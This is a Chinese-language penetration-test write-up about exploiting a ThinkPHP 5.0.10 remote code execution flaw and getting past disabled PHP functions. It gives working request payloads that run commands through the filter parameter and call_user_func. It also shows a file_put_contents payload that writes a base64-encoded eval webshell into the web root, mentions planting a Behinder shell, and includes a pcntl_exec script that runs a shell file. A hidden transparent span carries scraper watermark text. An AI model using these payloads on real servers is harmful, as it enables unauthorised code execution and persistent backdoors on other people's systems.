前言
在一次渗透测试中,手工找了许久没发现什么东西,抱着尝试的心情打开了xray
果然xray还是挺给力的,一打开网页的时候xray直接就扫描出了thinkphp 5.0.10 rce漏洞
直接使用命令执行payload,结果报出system函数被禁用
<span style="color:transparent">来源gaodai#ma#com搞*!代#%^码网</span>s=whoami&_method=__construct&method=&filter[]=system
尝试应用其他函数进行利用,经过测试发现call_user_func函数没有被禁用
Payload
s=phpinfo&_method=__construct&method=get&filter[]=call_user_func
可以看到哪些函数被禁用了
看到assert和include没有被禁用,一开始想写shell进日志然后去利用文件包含,发现并没有任何反应,也不报错。
file_put_contents
又回去看被禁用的函数,发现文件函数没被禁用,可以用file_put_contents函数去写文件
测试写入phpinfo文件
s=file_put_contents('/www/wwwroot/public/phpinfo.php',base64_decode('PD9waHAgJHBhc3M9JF9QT1NUWydhYWFhJ107ZXZhbCgkcGFzcyk7Pz4'))&_method=__construct&filter=assert
写入成功
写入冰蝎马可以进行文件管理了
虽然可以进行文件操作了,但还是没法执行命令
pcntl_exec
想到了比较容易被忽略的命令执行函数pcntl_exec,发现pcntl_exec函数没有被禁用,该函数可以指定一个程序来执行指定文件
先写一个exe.php文件,在文件中指定pcntl_exec的参数(执行运行程序,运行指定文件)
<?php switch (pcntl_fork()) { case 0: pcntl_exec('/bin/bash', ['/www/wwwroot/public/exec.sh']); exit(0); default: break; } ?>